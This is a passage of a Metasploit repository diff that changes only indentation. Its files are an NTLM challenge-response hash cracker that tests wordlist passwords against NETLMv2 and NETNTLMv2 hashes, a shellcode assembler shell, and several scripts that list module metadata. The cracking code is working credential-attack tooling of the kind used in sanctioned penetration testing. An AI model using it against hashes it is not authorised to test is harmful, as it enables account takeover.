CRYPT::lmv2_response(arglm, optlm).unpack("H*")[0].upcase - if calculatedhash.slice(0,32) == hash.upcase - puts "[*] Correct password found : #{password}" - exit - end - end - end - puts "[*] No password found" - exit - when HASH_MODE - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not clichal - $stderr.puts "[*] Client challenge must be provided with this type" - exit - end - if not clichal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not user - $stderr.puts "[*] User name must be provided with this type" - exit - end - if not domain - $stderr.puts "[*] Domain name must be provided with this type" - exit - end + File.open(list,"rb") do |password_list| + password_list.each_line do |line| + password = line.gsub("\r\n",'').gsub("\n",'') + puts password + arglm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user,password, domain), + :challenge => [ srvchal ].pack("H*") } + optlm = { :client_challenge => [ clichal ].pack("H*")} + calculatedhash = CRYPT::lmv2_response(arglm, optlm).unpack("H*")[0].upcase + if calculatedhash.slice(0,32) == hash.upcase + puts "[*] Correct password found : #{password}" + exit + end + end + end + puts "[*] No password found" + exit + when HASH_MODE + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not clichal + $stderr.puts "[*] Client challenge must be provided with this type" + exit + end + if not clichal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not user + $stderr.puts "[*] User name must be provided with this type" + exit + end + if not domain + $stderr.puts "[*] Domain name must be provided with this type" + exit + end - arglm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user,pass, domain), - :challenge => [ srvchal ].pack("H*") } - optlm = { :client_challenge => [ clichal ].pack("H*")} - calculatedhash = CRYPT::lmv2_response(arglm, optlm).unpack("H*")[0].upcase + arglm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user,pass, domain), + :challenge => [ srvchal ].pack("H*") } + optlm = { :client_challenge => [ clichal ].pack("H*")} + calculatedhash = CRYPT::lmv2_response(arglm, optlm).unpack("H*")[0].upcase - puts "[*] The NETLMv2 hash for #{pass} is : #{calculatedhash.slice(0,32)}" - exit - when PASS_MODE - if not hash =~ /^([a-fA-F0-9]{32})$/ - $stderr.puts "[*] NETLMv2 HASH must be exactly 32 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not clichal - $stderr.puts "[*] Client challenge must be provided with this type" - exit - end - if not clichal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not user - $stderr.puts "[*] User name must be provided with this type" - exit - end - if not domain - $stderr.puts "[*] Domain name must be provided with this type" - exit - end - arglm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user,pass, domain), - :challenge => [ srvchal ].pack("H*") } - optlm = { :client_challenge => [ clichal ].pack("H*")} - calculatedhash = CRYPT::lmv2_response(arglm, optlm).unpack("H*")[0].upcase - if hash.upcase == calculatedhash.slice(0,32) - puts "[*] Correct password provided : #{pass}" - exit - else - puts "[*] Incorrect password provided : #{pass}" - exit - end - end + puts "[*] The NETLMv2 hash for #{pass} is : #{calculatedhash.slice(0,32)}" + exit + when PASS_MODE + if not hash =~ /^([a-fA-F0-9]{32})$/ + $stderr.puts "[*] NETLMv2 HASH must be exactly 32 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not clichal + $stderr.puts "[*] Client challenge must be provided with this type" + exit + end + if not clichal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not user + $stderr.puts "[*] User name must be provided with this type" + exit + end + if not domain + $stderr.puts "[*] Domain name must be provided with this type" + exit + end + arglm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user,pass, domain), + :challenge => [ srvchal ].pack("H*") } + optlm = { :client_challenge => [ clichal ].pack("H*")} + calculatedhash = CRYPT::lmv2_response(arglm, optlm).unpack("H*")[0].upcase + if hash.upcase == calculatedhash.slice(0,32) + puts "[*] Correct password provided : #{pass}" + exit + else + puts "[*] Incorrect password provided : #{pass}" + exit + end + end when "NETNTLMv2" - case mode - when BRUTE_MODE - if not hash =~ /^([a-fA-F0-9]{32})$/ - $stderr.puts "[*] NETNTLMv2 HASH must be exactly 32 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not clichal - $stderr.puts "[*] Client challenge must be provided with this type" - exit - end - if not clichal =~ /^([a-fA-F0-9]{17,})$/ - $stderr.puts "[*] Client challenge must be bigger then 16 bytes of hexadecimal" - exit - end - if not user - $stderr.puts "[*] User name must be provided with this type" - exit - end - if not domain - $stderr.puts "[*] Domain name must be provided with this type" - exit - end + case mode + when BRUTE_MODE + if not hash =~ /^([a-fA-F0-9]{32})$/ + $stderr.puts "[*] NETNTLMv2 HASH must be exactly 32 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not clichal + $stderr.puts "[*] Client challenge must be provided with this type" + exit + end + if not clichal =~ /^([a-fA-F0-9]{17,})$/ + $stderr.puts "[*] Client challenge must be bigger then 16 bytes of hexadecimal" + exit + end + if not user + $stderr.puts "[*] User name must be provided with this type" + exit + end + if not domain + $stderr.puts "[*] Domain name must be provided with this type" + exit + end - File.open(list,"rb") do |password_list| - password_list.each_line do |line| - password = line.gsub("\r\n",'').gsub("\n",'') - for permutedpw in permute_pw(password) - puts permutedpw - argntlm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user, permutedpw, domain), - :challenge => [ srvchal ].pack("H*") } - optntlm = { :nt_client_challenge => [ clichal ].pack("H*")} - calculatedhash = CRYPT::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase + File.open(list,"rb") do |password_list| + password_list.each_line do |line| + password = line.gsub("\r\n",'').gsub("\n",'') + for permutedpw in permute_pw(password) + puts permutedpw + argntlm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user, permutedpw, domain), + :challenge => [ srvchal ].pack("H*") } + optntlm = { :nt_client_challenge => [ clichal ].pack("H*")} + calculatedhash = CRYPT::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase - if calculatedhash.slice(0,32) == hash.upcase - puts "[*] Correct password found : #{password}" - exit - end - end - end - end - puts "[*] No password found" - exit - when HASH_MODE - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not clichal - $stderr.puts "[*] Client challenge must be provided with this type" - exit - end - if not clichal =~ /^([a-fA-F0-9]{17,})$/ - $stderr.puts "[*] Client challenge must be bigger then 16 bytes of hexadecimal" - exit - end - if not user - $stderr.puts "[*] User name must be provided with this type" - exit - end - if not domain - $stderr.puts "[*] Domain name must be provided with this type" - exit - end + if calculatedhash.slice(0,32) == hash.upcase + puts "[*] Correct password found : #{password}" + exit + end + end + end + end + puts "[*] No password found" + exit + when HASH_MODE + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not clichal + $stderr.puts "[*] Client challenge must be provided with this type" + exit + end + if not clichal =~ /^([a-fA-F0-9]{17,})$/ + $stderr.puts "[*] Client challenge must be bigger then 16 bytes of hexadecimal" + exit + end + if not user + $stderr.puts "[*] User name must be provided with this type" + exit + end + if not domain + $stderr.puts "[*] Domain name must be provided with this type" + exit + end - argntlm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user, pass, domain), - :challenge => [ srvchal ].pack("H*") } - optntlm = { :nt_client_challenge => [ clichal ].pack("H*")} - calculatedhash = CRYPT::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase + argntlm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user, pass, domain), + :challenge => [ srvchal ].pack("H*") } + optntlm = { :nt_client_challenge => [ clichal ].pack("H*")} + calculatedhash = CRYPT::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase - puts "[*] The NETNTLMv2 hash for #{pass} is : #{calculatedhash.slice(0,32)}" - exit - when PASS_MODE - if not hash =~ /^([a-fA-F0-9]{32})$/ - $stderr.puts "[*] NETNTLMv2 HASH must be exactly 32 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not clichal - $stderr.puts "[*] Client challenge must be provided with this type" - exit - end - if not clichal =~ /^([a-fA-F0-9]{17,})$/ - $stderr.puts "[*] Client challenge must be bigger then 16 bytes of hexadecimal" - exit - end - if not user - $stderr.puts "[*] User name must be provided with this type" - exit - end - if not domain - $stderr.puts "[*] Domain name must be provided with this type" - exit - end + puts "[*] The NETNTLMv2 hash for #{pass} is : #{calculatedhash.slice(0,32)}" + exit + when PASS_MODE + if not hash =~ /^([a-fA-F0-9]{32})$/ + $stderr.puts "[*] NETNTLMv2 HASH must be exactly 32 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not clichal + $stderr.puts "[*] Client challenge must be provided with this type" + exit + end + if not clichal =~ /^([a-fA-F0-9]{17,})$/ + $stderr.puts "[*] Client challenge must be bigger then 16 bytes of hexadecimal" + exit + end + if not user + $stderr.puts "[*] User name must be provided with this type" + exit + end + if not domain + $stderr.puts "[*] Domain name must be provided with this type" + exit + end - for permutedpw in permute_pw(password) - argntlm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user, permutedpw, domain), - :challenge => [ srvchal ].pack("H*") } - optntlm = { :nt_client_challenge => [ clichal ].pack("H*")} - calculatedhash = CRYPT::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase + for permutedpw in permute_pw(password) + argntlm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user, permutedpw, domain), + :challenge => [ srvchal ].pack("H*") } + optntlm = { :nt_client_challenge => [ clichal ].pack("H*")} + calculatedhash = CRYPT::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase - if hash.upcase == calculatedhash.slice(0,32) - puts "[*] Correct password provided : #{permutedpw}" - exit - end - end - puts "[*] Incorrect password provided : #{pass}" - exit - end + if hash.upcase == calculatedhash.slice(0,32) + puts "[*] Correct password provided : #{permutedpw}" + exit + end + end + puts "[*] Incorrect password provided : #{pass}" + exit + end else - $stderr.puts "type must be of type : HALFLM/LM/NTLM/HALFNETLMv1/NETLMv1/NETNTLMv1/NETNTLM2_SESSION/NETLMv2/NETNTLMv2" - exit + $stderr.puts "type must be of type : HALFLM/LM/NTLM/HALFNETLMv1/NETLMv1/NETNTLMv1/NETNTLM2_SESSION/NETLMv2/NETNTLMv2" + exit end diff --git a/tools/metasm_shell.rb b/tools/metasm_shell.rb index 355137a96a..a7d3680822 100755 --- a/tools/metasm_shell.rb +++ b/tools/metasm_shell.rb @@ -16,7 +16,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -34,70 +34,70 @@ require 'metasm' @Arch = ['Ia32','MIPS','ARM','X86_64'] def usage - $stderr.puts("\nUsage: #{$0} <options>\n" + $args.usage) - exit + $stderr.puts("\nUsage: #{$0} <options>\n" + $args.usage) + exit end - + $args = Rex::Parser::Arguments.new( - "-a" => [ true, "The architecture to encode as (#{@Arch.sort.collect{|a| a + ', ' }.join.gsub(/\, $/,'')})"], - "-h" => [ false, "Display this help information" ]) + "-a" => [ true, "The architecture to encode as (#{@Arch.sort.collect{|a| a + ', ' }.join.gsub(/\, $/,'')})"], + "-h" => [ false, "Display this help information" ]) $args.parse(ARGV) { |opt, idx, val| - case opt - when "-a" - found = nil - @Arch.each { |a| - if val.downcase == a.downcase - String.class_eval("@@cpu = Metasm::#{a}.new") - found = true - end - } - usage if not found + case opt + when "-a" + found = nil + @Arch.each { |a| + if val.downcase == a.downcase + String.class_eval("@@cpu = Metasm::#{a}.new") + found = true + end + } + usage if not found - when "-h" - usage - else - usage - end + when "-h" + usage + else + usage + end } class String - @@cpu ||= Metasm::Ia32.new - class << self - def cpu() @@cpu end - def cpu=(c) @@cpu=c end - end + @@cpu ||= Metasm::Ia32.new + class << self + def cpu() @@cpu end + def cpu=(c) @@cpu=c end + end - # encodes the current string as a Shellcode, returns the resulting EncodedData - def encode_edata - s = Metasm::Shellcode.assemble @@cpu, self - s.encoded - end + # encodes the current string as a Shellcode, returns the resulting EncodedData + def encode_edata + s = Metasm::Shellcode.assemble @@cpu, self + s.encoded + end - # encodes the current string as a Shellcode, returns the resulting binary String - # outputs warnings on unresolved relocations - def encode - ed = encode_edata - if not ed.reloc.empty? - puts 'W: encoded string has unresolved relocations: ' + ed.reloc.map { |o, r| r.target.inspect }.join(', ') - end - ed.fill - ed.data - end + # encodes the current string as a Shellcode, returns the resulting binary String + # outputs warnings on unresolved relocations + def encode + ed = encode_edata + if not ed.reloc.empty? + puts 'W: encoded string has unresolved relocations: ' + ed.reloc.map { |o, r| r.target.inspect }.join(', ') + end + ed.fill + ed.data + end - # decodes the current string as a Shellcode, with specified base address - # returns the resulting Disassembler - def decode_blocks(base_addr=0, eip=base_addr) - sc = Metasm::Shellcode.decode(self, @@cpu) - sc.base_addr = base_addr - sc.disassemble(eip) - end + # decodes the current string as a Shellcode, with specified base address + # returns the resulting Disassembler + def decode_blocks(base_addr=0, eip=base_addr) + sc = Metasm::Shellcode.decode(self, @@cpu) + sc.base_addr = base_addr + sc.disassemble(eip) + end - # decodes the current string as a Shellcode, with specified base address - # returns the asm source equivallent - def decode(base_addr=0, eip=base_addr) - decode_blocks(base_addr, eip).to_s - end + # decodes the current string as a Shellcode, with specified base address + # returns the asm source equivallent + def decode(base_addr=0, eip=base_addr) + decode_blocks(base_addr, eip).to_s + end end @@ -110,17 +110,17 @@ shell.init_ui(Rex::Ui::Text::Input::Stdio.new, Rex::Ui::Text::Output::Stdio.new) puts 'type "exit" or "quit" to quit', 'use ";" or "\\n" for newline', '' shell.run { |l| - l.gsub!(/(\r|\n)/, '') - l.gsub!(/\\n/, "\n") - l.gsub!(';', "\n") + l.gsub!(/(\r|\n)/, '') + l.gsub!(/\\n/, "\n") + l.gsub!(';', "\n") - break if %w[quit exit].include? l.chomp - next if l.strip.empty? + break if %w[quit exit].include? l.chomp + next if l.strip.empty? - begin - l = l.encode - puts '"' + l.unpack('C*').map { |c| '\\x%02x' % c }.join + '"' - rescue Metasm::Exception => e - puts "Error: #{e.class} #{e.message}" - end + begin + l = l.encode + puts '"' + l.unpack('C*').map { |c| '\\x%02x' % c }.join + '"' + rescue Metasm::Exception => e + puts "Error: #{e.class} #{e.message}" + end } diff --git a/tools/module_author.rb b/tools/module_author.rb index f6352c0ca9..13de302149 100755 --- a/tools/module_author.rb +++ b/tools/module_author.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -29,38 +29,38 @@ reg = 0 regex = nil opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-s" => [ false, "Sort by Author instead of Module Type."], - "-r" => [ false, "Reverse Sort"], - "-f" => [ true, "Filter based on Module Type [#{filters.map{|f|f.capitalize}.join(", ")}] (Default = All)."], - "-x" => [ true, "String or RegEx to try and match against the Author Field"] + "-h" => [ false, "Help menu." ], + "-s" => [ false, "Sort by Author instead of Module Type."], + "-r" => [ false, "Reverse Sort"], + "-f" => [ true, "Filter based on Module Type [#{filters.map{|f|f.capitalize}.join(", ")}] (Default = All)."], + "-x" => [ true, "String or RegEx to try and match against the Author Field"] ) opts.parse(ARGV) { |opt, idx, val| - case opt - when "-h" - puts "\nMetasploit Script for Displaying Module Author information." - puts "==========================================================" - puts opts.usage - exit - when "-s" - puts "Sorting by Author" - sort = 1 - when "-r" - puts "Reverse Sorting" - sort = 2 - when "-f" - unless filters.include?(val.downcase) - puts "Invalid Filter Supplied: #{val}" - puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" - exit - end - puts "Module Filter: #{val}" - filter = val - when "-x" - puts "Regex: #{val}" - regex = Regexp.new(val) - end + case opt + when "-h" + puts "\nMetasploit Script for Displaying Module Author information." + puts "==========================================================" + puts opts.usage + exit + when "-s" + puts "Sorting by Author" + sort = 1 + when "-r" + puts "Reverse Sorting" + sort = 2 + when "-f" + unless filters.include?(val.downcase) + puts "Invalid Filter Supplied: #{val}" + puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" + exit + end + puts "Module Filter: #{val}" + filter = val + when "-x" + puts "Regex: #{val}" + regex = Regexp.new(val) + end } @@ -73,7 +73,7 @@ framework_opts = { 'DisableDatabase' => true } # If the user only wants a particular module type, no need to load the others if filter.downcase != 'all' - framework_opts[:module_types] = [ filter.downcase ] + framework_opts[:module_types] = [ filter.downcase ] end # Initialize the simplified framework instance. @@ -81,45 +81,45 @@ $framework = Msf::Simple::Framework.create(framework_opts) tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Module References', - 'Indent' => Indent.length, - 'Columns' => [ 'Module', 'Reference' ] + 'Header' => 'Module References', + 'Indent' => Indent.length, + 'Columns' => [ 'Module', 'Reference' ] ) names = {} $framework.modules.each { |name, mod| - x = mod.new - x.author.each do |r| - r = r.to_s - if regex.nil? or r =~ regex - tbl << [ x.fullname, r ] - names[r] ||= 0 - names[r] += 1 - end - end + x = mod.new + x.author.each do |r| + r = r.to_s + if regex.nil? or r =~ regex + tbl << [ x.fullname, r ] + names[r] ||= 0 + names[r] += 1 + end + end } if sort == 1 - tbl.sort_rows(1) + tbl.sort_rows(1) end if sort == 2 - tbl.sort_rows(1) - tbl.rows.reverse + tbl.sort_rows(1) + tbl.rows.reverse end puts tbl.to_s tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Module Count by Author', - 'Indent' => Indent.length, - 'Columns' => [ 'Count', 'Name' ] + 'Header' => 'Module Count by Author', + 'Indent' => Indent.length, + 'Columns' => [ 'Count', 'Name' ] ) names.keys.sort {|a,b| names[b] <=> names[a] }.each do |name| - tbl << [ names[name].to_s, name ] + tbl << [ names[name].to_s, name ] end puts diff --git a/tools/module_changelog.rb b/tools/module_changelog.rb index 4552ff0544..98e8ace0f0 100755 --- a/tools/module_changelog.rb +++ b/tools/module_changelog.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -24,8 +24,8 @@ require 'msf/base' def usage - $stderr.puts "#{$0} <src rev> [dst rev]" - exit(0) + $stderr.puts "#{$0} <src rev> [dst rev]" + exit(0) end src_rev = ARGV.shift || usage() @@ -48,26 +48,26 @@ mmod = [] data.each_line do |line| - action, mname = line.strip.split(/\s+/, 2) - mname = mname.gsub(/^.*modules\//, '').gsub('exploits', 'exploit').gsub(/\.rb$/, '') - case action - when /^A/ - # Added a new module - m = framework.modules.create(mname) - if m - madd << "\"#{m.name}\":http://www.metasploit.com/modules/#{mname}" - end - when /^D/ - # Deleted a module - mdel << mname - when /^M/ - # Modified a module - # Added a new module - m = framework.modules.create(mname) - if m - mmod << "\"#{m.name}\":http://www.metasploit.com/modules/#{mname}" - end - end + action, mname = line.strip.split(/\s+/, 2) + mname = mname.gsub(/^.*modules\//, '').gsub('exploits', 'exploit').gsub(/\.rb$/, '') + case action + when /^A/ + # Added a new module + m = framework.modules.create(mname) + if m + madd << "\"#{m.name}\":http://www.metasploit.com/modules/#{mname}" + end + when /^D/ + # Deleted a module + mdel << mname + when /^M/ + # Modified a module + # Added a new module + m = framework.modules.create(mname) + if m + mmod << "\"#{m.name}\":http://www.metasploit.com/modules/#{mname}" + end + end end diff --git a/tools/module_commits.rb b/tools/module_commits.rb index 2f447c9f82..3f659bdf08 100755 --- a/tools/module_commits.rb +++ b/tools/module_commits.rb @@ -15,7 +15,7 @@ end msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end dir = ARGV[0] || File.join(msfbase, "modules", "exploits") diff --git a/tools/module_count.rb b/tools/module_count.rb index 4080a17eeb..1e81a32989 100755 --- a/tools/module_count.rb +++ b/tools/module_count.rb @@ -4,7 +4,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) diff --git a/tools/module_disclodate.rb b/tools/module_disclodate.rb index 45a545a195..b6a0715a22 100755 --- a/tools/module_disclodate.rb +++ b/tools/module_disclodate.rb @@ -8,7 +8,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -30,64 +30,64 @@ enddate = Date.new(2525,01,01) match = nil opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-s" => [ false, "Sort by Disclosure Date instead of Module Type."], - "-r" => [ false, "Reverse Sort"], - "-f" => [ true, "Filter based on Module Type [#{filters.map{|f|f.capitalize}.join(", ")}] (Default = All)."], - "-n" => [ false, "Filter out modules that have no Disclosure Date listed."], - "-d" => [ true, "Start of Date Range YYYY-MM-DD."], - "-D" => [ true, "End of Date Range YYYY-MM-DD."] + "-h" => [ false, "Help menu." ], + "-s" => [ false, "Sort by Disclosure Date instead of Module Type."], + "-r" => [ false, "Reverse Sort"], + "-f" => [ true, "Filter based on Module Type [#{filters.map{|f|f.capitalize}.join(", ")}] (Default = All)."], + "-n" => [ false, "Filter out modules that have no Disclosure Date listed."], + "-d" => [ true, "Start of Date Range YYYY-MM-DD."], + "-D" => [ true, "End of Date Range YYYY-MM-DD."] ) opts.parse(ARGV) { |opt, idx, val| - case opt - when "-h" - puts "\nMetasploit Script for Displaying Module Disclosure Date Information." - puts "==========================================================" - puts opts.usage - exit - when "-s" - puts "Sorting by Disclosure Date" - sort = 1 - when "-r" - puts "Reverse Sorting" - sort = 2 - when "-f" - unless filters.include?(val.downcase) - puts "Invalid Filter Supplied: #{val}" - puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" - exit - end - puts "Module Filter: #{val}" - filter = val - when "-n" - puts "Excluding Null dates" - nilc=1 - when "-d" - (year,month,day) = val.split('-') - if Date.valid_civil?(year.to_i,month.to_i,day.to_i) - startdate= Date.new(year.to_i,month.to_i,day.to_i) - puts "Start Date: #{startdate}" - else - puts "Invalid Start Date: #{val}" - exit - end - when "-D" - (year,month,day) = val.split('-') - if Date.valid_civil?(year.to_i,month.to_i,day.to_i) - enddate= Date.new(year.to_i,month.to_i,day.to_i) - puts "End Date: #{enddate}" - else - puts "Invalid Start Date: #{val}" - exit - end - else - if opt - puts "Unknown option" - exit - end - match = Regexp.new(val) - end + case opt + when "-h" + puts "\nMetasploit Script for Displaying Module Disclosure Date Information." + puts "==========================================================" + puts opts.usage + exit + when "-s" + puts "Sorting by Disclosure Date" + sort = 1 + when "-r" + puts "Reverse Sorting" + sort = 2 + when "-f" + unless filters.include?(val.downcase) + puts "Invalid Filter Supplied: #{val}" + puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" + exit + end + puts "Module Filter: #{val}" + filter = val + when "-n" + puts "Excluding Null dates" + nilc=1 + when "-d" + (year,month,day) = val.split('-') + if Date.valid_civil?(year.to_i,month.to_i,day.to_i) + startdate= Date.new(year.to_i,month.to_i,day.to_i) + puts "Start Date: #{startdate}" + else + puts "Invalid Start Date: #{val}" + exit + end + when "-D" + (year,month,day) = val.split('-') + if Date.valid_civil?(year.to_i,month.to_i,day.to_i) + enddate= Date.new(year.to_i,month.to_i,day.to_i) + puts "End Date: #{enddate}" + else + puts "Invalid Start Date: #{val}" + exit + end + else + if opt + puts "Unknown option" + exit + end + match = Regexp.new(val) + end } @@ -99,7 +99,7 @@ framework_opts = { 'DisableDatabase' => true } # If the user only wants a particular module type, no need to load the others if filter.downcase != 'all' - framework_opts[:module_types] = [ filter.downcase ] + framework_opts[:module_types] = [ filter.downcase ] end # Initialize the simplified framework instance. @@ -107,34 +107,34 @@ $framework = Msf::Simple::Framework.create(framework_opts) tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Module References', - 'Indent' => Indent.length, - 'Columns' => [ 'Module', 'Disclosure Date' ] + 'Header' => 'Module References', + 'Indent' => Indent.length, + 'Columns' => [ 'Module', 'Disclosure Date' ] ) $framework.modules.each { |name, mod| - next if match and not name =~ match - x = mod.new - if x.disclosure_date.nil? - if nilc==1 - tbl << [ x.fullname, '' ] - end - else - if x.disclosure_date >= startdate and x.disclosure_date <= enddate - tbl << [ x.fullname, x.disclosure_date ] - end - end + next if match and not name =~ match + x = mod.new + if x.disclosure_date.nil? + if nilc==1 + tbl << [ x.fullname, '' ] + end + else + if x.disclosure_date >= startdate and x.disclosure_date <= enddate + tbl << [ x.fullname, x.disclosure_date ] + end + end } if sort == 1 - tbl.sort_rows(1) + tbl.sort_rows(1) end if sort == 2 - tbl.sort_rows(1) - tbl.rows.reverse + tbl.sort_rows(1) + tbl.rows.reverse end puts tbl.to_s diff --git a/tools/module_license.rb b/tools/module_license.rb index 476a602fbb..86011fda47 100755 --- a/tools/module_license.rb +++ b/tools/module_license.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -23,22 +23,22 @@ require 'msf/ui' require 'msf/base' def lic_short(l) - if (l.class == Array) - l = l[0] - end + if (l.class == Array) + l = l[0] + end - case l - when MSF_LICENSE - 'MSF' - when GPL_LICENSE - 'GPL' - when BSD_LICENSE - 'BSD' - when ARTISTIC_LICENSE - 'ART' - else - 'UNK' - end + case l + when MSF_LICENSE + 'MSF' + when GPL_LICENSE + 'GPL' + when BSD_LICENSE + 'BSD' + when ARTISTIC_LICENSE + 'ART' + else + 'UNK' + end end @@ -49,39 +49,39 @@ reg=0 regex= '' opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-s" => [ false, "Sort by License instead of Module Type."], - "-r" => [ false, "Reverse Sort"], - "-f" => [ true, "Filter based on Module Type [#{filters.map{|f|f.capitalize}.join(", ")}] (Default = All)."], - "-x" => [ true, "String or RegEx to try and match against the License Field"] + "-h" => [ false, "Help menu." ], + "-s" => [ false, "Sort by License instead of Module Type."], + "-r" => [ false, "Reverse Sort"], + "-f" => [ true, "Filter based on Module Type [#{filters.map{|f|f.capitalize}.join(", ")}] (Default = All)."], + "-x" => [ true, "String or RegEx to try and match against the License Field"] ) opts.parse(ARGV) { |opt, idx, val| - case opt - when "-h" - puts "\nMetasploit Script for Displaying Module License information." - puts "==========================================================" - puts opts.usage - exit - when "-s" - puts "Sorting by License" - sort = 1 - when "-r" - puts "Reverse Sorting" - sort = 2 - when "-f" - unless filters.include?(val.downcase) - puts "Invalid Filter Supplied: #{val}" - puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" - exit - end - puts "Module Filter: #{val}" - filter = val - when "-x" - puts "Regex: #{val}" - reg=1 - regex = val - end + case opt + when "-h" + puts "\nMetasploit Script for Displaying Module License information." + puts "==========================================================" + puts opts.usage + exit + when "-s" + puts "Sorting by License" + sort = 1 + when "-r" + puts "Reverse Sorting" + sort = 2 + when "-f" + unless filters.include?(val.downcase) + puts "Invalid Filter Supplied: #{val}" + puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" + exit + end + puts "Module Filter: #{val}" + filter = val + 